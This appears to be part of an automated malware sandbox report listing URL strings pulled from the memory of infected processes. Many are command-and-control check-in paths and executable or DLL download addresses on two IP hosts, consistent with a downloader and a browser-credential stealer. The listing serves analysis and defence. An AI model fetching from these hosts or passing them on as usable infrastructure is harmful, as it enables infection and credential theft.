Source: axplong.exe, 00000002.00000003.3954231435.00000000013E5000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000003.3952923426.00000000013C9000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000003.3953303483.00000000013DF000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000002.4456859745.00000000013E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/Kiru9gu/index.php:1c
Source: axplong.exe, 00000002.00000002.4456859745.00000000013E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/Kiru9gu/index.phpAppData
Source: axplong.exe, 00000002.00000002.4456859745.00000000013E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/Kiru9gu/index.phpAppDataB
Source: axplong.exe, 00000002.00000003.3954231435.00000000013E5000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000003.3952923426.00000000013C9000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000003.3953303483.00000000013DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/Kiru9gu/index.phpD
Source: axplong.exe, 00000002.00000003.3954231435.00000000013E5000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000003.3952923426.00000000013C9000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000003.3953303483.00000000013DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/Kiru9gu/index.phpData
Source: axplong.exe, 00000002.00000002.4456859745.00000000013E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/Kiru9gu/index.phpEscape
Source: axplong.exe, 00000002.00000002.4456859745.00000000013E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/Kiru9gu/index.phpK3U
Source: axplong.exe, 00000002.00000002.4456563998.00000000013D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/Kiru9gu/index.phpMw
Source: axplong.exe, 00000002.00000002.4456563998.00000000013D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/Kiru9gu/index.phpRx
Source: axplong.exe, 00000002.00000002.4456859745.00000000013E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/Kiru9gu/index.phpU3
Source: axplong.exe, 00000002.00000002.4456563998.00000000013D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/Kiru9gu/index.phpWw
Source: axplong.exe, 00000002.00000002.4456859745.00000000013E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/Kiru9gu/index.phpZharkBOT.exe
Source: axplong.exe, 00000002.00000002.4456563998.00000000013D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/Kiru9gu/index.phpZw
Source: axplong.exe, 00000002.00000002.4456859745.00000000013E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/Kiru9gu/index.phpata
Source: axplong.exe, 00000002.00000003.3952923426.00000000013C9000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000003.3953692208.00000000013D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/Kiru9gu/index.phpb9
Source: axplong.exe, 00000002.00000003.3952923426.00000000013C9000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000003.3953692208.00000000013D1000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000002.4456563998.00000000013D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/Kiru9gu/index.phpdx
Source: axplong.exe, 00000002.00000003.3954231435.00000000013E5000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000003.3952923426.00000000013C9000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000003.3953303483.00000000013DF000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000002.4456859745.00000000013E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/Kiru9gu/index.phpj1
Source: axplong.exe, 00000002.00000003.3954231435.00000000013E5000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000003.3952923426.00000000013C9000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000003.3953303483.00000000013DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/Kiru9gu/index.phplF~n
Source: axplong.exe, 00000002.00000003.3953303483.00000000013DF000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000002.4456859745.00000000013E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/Kiru9gu/index.phpsive.dll
Source: axplong.exe, 00000002.00000002.4456859745.00000000013E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/Kiru9gu/index.phptch
Source: axplong.exe, 00000002.00000002.4456859745.00000000013E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/Kiru9gu/index.phpyo2
Source: axplong.exe, 00000002.00000002.4456859745.00000000013E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/Kiru9gu/index.php~
Source: axplong.exe, 00000002.00000002.4458206583.00000000015FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/Root
Source: axplong.exe, 00000002.00000002.4458206583.00000000015FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/lend/build16666.exe
Source: axplong.exe, 00000002.00000002.4458206583.00000000015FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/lend/build16666.exe0
Source: axplong.exe, 00000002.00000002.4458206583.00000000015C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/lend/leg222.exeRqu
Source: axplong.exe, 00000002.00000002.4458206583.00000000015C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/lend/leg222.exea~
Source: axplong.exe, 00000002.00000003.3954231435.00000000013E5000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000003.3952923426.00000000013C9000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000003.3953303483.00000000013DF000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000002.4456859745.00000000013E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/lend/newstart.exe
Source: axplong.exe, 00000002.00000003.3952923426.00000000013C9000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000003.3953692208.00000000013D1000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000002.4456563998.00000000013D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/lend/newstart.exe)xR
Source: axplong.exe, 00000002.00000003.3954231435.00000000013E5000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000003.3952923426.00000000013C9000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000003.3953303483.00000000013DF000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000002.4456859745.00000000013E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/lend/newstart.exe00240001
Source: axplong.exe, 00000002.00000003.3954231435.00000000013E5000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000003.3952923426.00000000013C9000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000003.3953303483.00000000013DF000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000002.4456859745.00000000013E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/lend/newstart.exe835a7ededB0H
Source: axplong.exe, 00000002.00000003.3954231435.00000000013E5000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000003.3952923426.00000000013C9000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000003.3953303483.00000000013DF000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000002.4456859745.00000000013E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/lend/newstart.exe835a7ef18b
Source: axplong.exe, 00000002.00000003.3954231435.00000000013E5000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000003.3952923426.00000000013C9000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000003.3953303483.00000000013DF000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000002.4456859745.00000000013E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/lend/newstart.exe835a7ef1a~
Source: axplong.exe, 00000002.00000003.3954231435.00000000013E5000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000003.3952923426.00000000013C9000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000003.3953303483.00000000013DF000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000002.4456859745.00000000013E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/lend/newstart.exe835ncoded-0m
Source: axplong.exe, 00000002.00000003.3952923426.00000000013C9000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000003.3953692208.00000000013D1000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000002.4456563998.00000000013D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/lend/newstart.exeHx
Source: aspnet_regiis.exe, 00000014.00000002.2813138912.00000000032D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.70
Source: aspnet_regiis.exe, 00000014.00000002.2813138912.0000000003317000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.70/
Source: aspnet_regiis.exe, 00000014.00000003.2712771154.0000000003357000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.70/570d5d5e8678366c.
Source: aspnet_regiis.exe, 00000014.00000002.2813138912.0000000003317000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000014.00000002.2813138912.0000000003333000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000014.00000002.2811418680.000000000054A000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000014.00000003.2712771154.0000000003357000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.70/570d5d5e8678366c.php
Source: aspnet_regiis.exe, 00000014.00000003.2712771154.0000000003357000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.70/570d5d5e8678366c.php)
Source: aspnet_regiis.exe, 00000014.00000002.2813138912.00000000033BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.70/570d5d5e8678366c.php3
Source: aspnet_regiis.exe, 00000014.00000002.2813138912.0000000003317000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.70/570d5d5e8678366c.php7t
Source: aspnet_regiis.exe, 00000014.00000002.2813138912.0000000003317000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.70/570d5d5e8678366c.php;ts
Source: aspnet_regiis.exe, 00000014.00000002.2813138912.0000000003333000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.70/570d5d5e8678366c.phpEdge
Source: aspnet_regiis.exe, 00000014.00000002.2813138912.0000000003317000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.70/570d5d5e8678366c.phpat
Source: aspnet_regiis.exe, 00000014.00000002.2811418680.000000000054A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.70/570d5d5e8678366c.phpe4f71d4e840f87f41c8118383ebc9f20
Source: aspnet_regiis.exe, 00000014.00000002.2813138912.00000000033BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.70/570d5d5e8678366c.phpg
Source: aspnet_regiis.exe, 00000014.00000002.2813138912.00000000033BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.70/570d5d5e8678366c.phpl
Source: aspnet_regiis.exe, 00000014.00000002.2811418680.0000000000448000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000014.00000002.2811418680.000000000054A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.70/570d5d5e8678366c.phposition:
Source: aspnet_regiis.exe, 00000014.00000002.2813138912.00000000033BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.70/570d5d5e8678366c.phpq
Source: aspnet_regiis.exe, 00000014.00000002.2813138912.00000000033BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.70/570d5d5e8678366c.phpt
Source: aspnet_regiis.exe, 00000014.00000002.2813138912.0000000003317000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.70/663cea891445d733/freebl3.dll
Source: aspnet_regiis.exe, 00000014.00000002.2813138912.0000000003317000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.70/663cea891445d733/freebl3.dll6g
Source: aspnet_regiis.exe, 00000014.00000002.2813138912.0000000003317000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.70/663cea891445d733/mozglue.dll
Source: aspnet_regiis.exe, 00000014.00000002.2813138912.0000000003317000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.70/663cea891445d733/mozglue.dll9g
Source: aspnet_regiis.exe, 00000014.00000002.2813138912.0000000003317000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.70/663cea891445d733/msvcp140.dll
Source: aspnet_regiis.exe, 00000014.00000002.2813138912.0000000003317000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.70/663cea891445d733/msvcp140.dllgr
Source: aspnet_regiis.exe, 00000014.00000002.2813138912.0000000003317000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.70/663cea891445d733/nss3.dll
Source: aspnet_regiis.exe, 00000014.00000002.2813138912.0000000003317000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.70/663cea891445d733/nss3.dllData
Source: aspnet_regiis.exe, 00000014.00000002.2813138912.0000000003317000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.70/663cea891445d733/nss3.dllll
Source: aspnet_regiis.exe, 00000014.00000002.2813138912.0000000003317000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.70/663cea891445d733/softokn3.dll
Source: aspnet_regiis.exe, 00000014.00000002.2813138912.0000000003317000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.70/663cea891445d733/sqlite3.dll
Source: aspnet_regiis.exe, 00000014.00000002.2813138912.0000000003317000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.70/663cea891445d733/sqlite3.dllix
Source: aspnet_regiis.exe, 00000014.00000002.2813138912.0000000003333000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.70/663cea891445d733/vcruntime140.dll
Source: aspnet_regiis.exe, 00000014.00000002.2813138912.0000000003333000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.70/663cea891445d733/vcruntime140.dllx5
Source: aspnet_regiis.exe, 00000014.00000002.2813138912.00000000033BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.70/70d5d5e8678366c.php.
Source: aspnet_regiis.exe, 00000014.00000002.2813138912.0000000003317000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.70/Otg
Source: aspnet_regiis.exe, 00000014.00000002.2813138912.0000000003317000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.70/St
Source: aspnet_regiis.exe, 00000014.00000002.2813138912.00000000032D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.70:
Source: svchost.exe, 0000000D.00000003.2247497831.0000027EC1779000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2247465289.0000027EC1776000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4100754948.0000027EC1772000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4097757885.0000027EC1737000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4097288630.0000027EC1770000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4096986997.0000027EC176B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2237943833.0000027EC1774000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/STS
Source: svchost.exe, 0000000D.00000003.2237943833.0000027EC1774000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/STS09/xmldsig#ripledes-cbcices/SOAPFaultcurity-utility-1.0.xsd
Source: svchost.exe, 0000000D.00000003.4097878074.0000027EC173A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2247497831.0000027EC1779000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.4104083851.0000027EC1E5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2247465289.0000027EC1776000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4100754948.0000027EC1772000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4097757885.0000027EC1737000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4097288630.0000027EC1770000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4096986997.0000027EC176B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4098221308.0000027EC1741000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2237943833.0000027EC1774000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/tb
Source: svchost.exe, 0000000D.00000002.4102923997.0000027EC0E5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.4104041083.0000027EC1E35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/tb:pp
Source: svchost.exe, 0000000D.00000002.4104041083.0000027EC1E35000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.4103913948.0000027EC1E00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/tb_
Source: svchost.exe, 0000000D.00000002.4103556512.0000027EC0EE5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/tb_kq
Source: svchost.exe, 0000002A.00000002.4552683302.0000000005A35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.proxyscrape.com
Source: svchost.exe, 0000002A.00000002.4552683302.0000000005A35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.proxyscrape.comd
Source: svchost.exe, 0000000C.00000002.3724129711.000001AA922B2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.4103455410.0000027EC0ECA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 0000000D.00000003.4101128405.0000027EC176E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4096986997.0000027EC176B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasi
Source: svchost.exe, 0000000D.00000003.4100175576.0000027EC170C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4098547129.0000027EC170A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4098746701.0000027EC170B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text
Source: svchost.exe, 0000000D.00000003.4101128405.0000027EC176E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4096986997.0000027EC176B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecuri
Source: svchost.exe, 0000000D.00000003.4096986997.0000027EC176B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2284338374.0000027EC1779000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2237943833.0000027EC1774000.00000004.00000020.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: svchost.exe, 0000000D.00000003.4100175576.0000027EC170C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4098547129.0000027EC170A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4098746701.0000027EC170B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdAA
Source: svchost.exe, 0000000D.00000003.4101128405.0000027EC176E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4096986997.0000027EC176B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsds
Source: svchost.exe, 0000000D.00000003.2281832079.0000027EC1777000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4101128405.0000027EC176E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4096986997.0000027EC176B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd~
Source: svchost.exe, 0000000D.00000003.4096986997.0000027EC176B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2284338374.0000027EC1779000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2237943833.0000027EC1774000.00000004.00000020.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: svchost.exe, 0000000D.00000003.4100175576.0000027EC170C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4098547129.0000027EC170A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4098746701.0000027EC170B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdA
Source: svchost.exe, 0000000D.00000003.4101128405.0000027EC176E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4096986997.0000027EC176B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsds
Source: svchost.exe, 0000000D.00000003.4101128405.0000027EC176E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4096986997.0000027EC176B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdxV
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeySHA1
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1
Source: VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd
Source: qmgr.db.12.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.12.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.12.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
